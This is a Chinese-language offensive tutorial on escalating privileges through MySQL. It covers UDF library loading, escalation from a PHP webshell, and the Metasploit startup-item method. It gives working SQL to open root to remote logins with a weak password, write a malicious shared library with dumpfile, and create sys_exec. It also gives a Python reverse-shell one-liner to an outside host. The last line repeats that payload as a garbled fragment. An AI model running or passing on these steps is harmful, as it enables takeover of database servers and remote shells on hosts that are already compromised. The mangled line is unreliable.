MySQL 数据库提权
一、UDF提权
UDF(User defined function,用户自定义函数)是MySQL的一个拓展接口,也就是支持用户自定义函数的功能。这里的自定义函数要以dll形式写成MySQL的插件,提供给MySQL来使用。也就是说我们可以通过编写dll文件来实现我们需要的功能。
文件末为.so,则为linux系统,如果是win,则后缀为dll。
1.1 UDF利用条件
1、知道数据库的用户和密码
在获取webshell之后可以通过读取网站数据库配置文件、或者通过读取数据库存储或备份文件@@basedir/data/数据库名/表名.myd
、或者暴力破解 来获取数据库的用户和密码。
2、MySQL可以远程登录
在默认情况下,MySQL只允许本地登录,我们可以通过navicat去连接数据库(在知道帐号密码的情况下),但是如果只允许本地登录的情况下,即使知道账号密码的情况下也不能够连接上MySQL数据库,那么在这种情况下就只有通过拿到本机的高权限rdp登陆远程桌面后连接。
远程连接对应的设置在mysql目录下的/etc/mysql/my.conf
文件,对应的设置为bind-address = 127.0.0.1
这一行,这是默认情况下的设置,如果我们要允许在任何主机上面都能够远程登录mysql的话,就只要把bind-address
改成0.0.0.0即可,即bind-address = 0.0.0.0
然后还需要给远程登陆的用户赋予权限,首先新建一个admin/123456
用户,使用%
来允许任意ip登录mysql,这样我们就能够通过navicat使用admin/123456
用户远程连接到数据库
/*以下这种是新建一个名为admin的账户*/
grant all on *.* to admin@'%' identified by '123456' with grant option;
flush privileges; /*刷新配置*/
/*以下这种是设置root账户可以外连*/
grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;
flush privileges;
第二种可以设置远程连接的方法,首先登录上MySQL数据库,use mysql
,然后查看user表中的记录select user,host from user
,然后再输入以下语句设置允许任何地址都可以连接root账户。
update user set host='%' where user='root';
flush privileges;
3、MySQL有写入文件的权限,即secure_file_priv的值为空。
当secure_file_priv 的值为 NULL ,表示不允许导入导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示导入导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时(为空),表示不对导入导出做限制,此时可提权
secure_file_priv的值可以通过命令 select @@secure_file_priv
查询,修改的话需要在mysql的配置文件my.ini里面修改,且要重启数据库才能生效。
注意:在mysql5.5版本之前secure_file_priv
这个值是默认为空的,而在mysql5.5版本之后secure_file_priv
这个值是默认为NULL的,即不能够往数据库内写入文件。
1.2 手动UDF提权
查看mysql数据库版本select version()
这里注意,如果mysql版本小于5.1,上传udf的位置应该放在c盘的windows或者windows32目录里;如果mysql版本号大于等于5.1,上传udf的位置应该放在mysql\lib\plugin,查看plugin的位置show variables like "%plugin%"
,如果不存在则自己新建一个,可以用select @@basedir
查看mysql安装位置,可以用show variables like "%compile%"
查看数据库是32位的还是64位的。
然后我们所使用的udf文件可以在sqlmap或者msf里面找。在sqlmap的sqlmap\data\udf\mysql
路径里拥有Linux和Windows版本的udf文件,不过 sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。像后缀名为.so_
或.dll_
的话,就需要解码,如果后缀名为.so
或.dll
的话就不需要解码即可直接使用。sqlmap里也自带了解码的py脚本,在/extra/cloak
目录下,使用cloak.py
解密即可。
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
msf中的udf文件在/usr/share/metasploit-framework/data/exploits/mysql/
中,msf中的都是已经解密好了的,都可以直接使用的。
1.2.1 开始实验
首先前提是我们利用了已知漏洞获取到了webshell
然后我们查找网站的数据库配置文件,找到数据库的账号和密码分别为:root,root1234。
然后上数据库工具进行连接成功
下面我们进行UDF文件的准备,先用以下命令查看版本是64位。
然后去sqlmap目录下选择对应的版本的udf文件进行解密。
然后查看一下数据库版本号,大于5.1,所以我们将udf文件上传到mysql\lib\plugin。
然后使用命令创建自定义函数
查看是否新增了sys_eval函数
创建函数成功了,然后就可以执行系统命令了
1.3 利用大马进行UDF提权
我们将提前准备好的PHP大马传至服务器中并进行连接
点击左边MYSQL提权,输入数据库账号密码,然后安装DLL。安装成功。
执行系统命令也成功了。
二、 利用MSF 启动项提权
首先前提条件就是MySQL数据库允许外连,且secure_file_pri值为空。启动项提权往往需要配合重启执行。
msfconsole
search mysql
这时我们选用图中的mysql_start_up
设置好参数:
run
服务器上的启动项文件夹中已经存在改文件了(不过真实情况下很容易被防火墙杀掉)。
然后我们在kali中开启监听,服务器上可以用shutdown -r -t 0
让机器重启。
也可以在大马中选择反弹提权,选择nc提权。
提权成功。
三、当mysql\lib\plugin目录没有写入权限下
use mysql;
create table foo(line blob);
insert into foo value(load_file('/var/www/html/lib_mysqludf_sys_64.so')); /*将udf文件的内容写入到表中*/
select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so'; /*利用root权限将表中的内容导出到目录中*/
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; /*创建函数*/
select * from func; /*查看函数是否创建成功*/
select sys_exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.109",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\''); /*反弹shell*/
_INET,socket.SOCK_STREAM);s.connect((“192.168.0.109”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“sh”)‘’); /反弹shell/